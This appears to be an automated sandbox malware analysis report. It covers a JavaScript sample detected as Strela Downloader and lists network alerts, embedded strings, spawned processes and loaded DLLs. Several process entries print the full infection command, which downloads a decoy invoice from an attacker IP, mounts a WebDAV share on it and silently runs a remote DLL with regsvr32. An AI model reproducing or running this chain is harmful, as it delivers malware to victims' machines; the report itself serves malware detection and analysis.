Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1460790874.000001B463DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1523235410.00000245663A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523235410.00000245663F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1523235410.00000245663C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 00000007.00000002.1523235410.00000245663C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000007.00000002.1523235410.00000245663C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j
Source: svchost.exe, 00000009.00000002.2741698575.000001CB09600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1524375404.000001CB09450000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1292, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1936930021252095876.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4692:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wknnvyix.2nh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1636,i,6290968276364206854,1399716073142869749,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1636,i,6290968276364206854,1399716073142869749,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
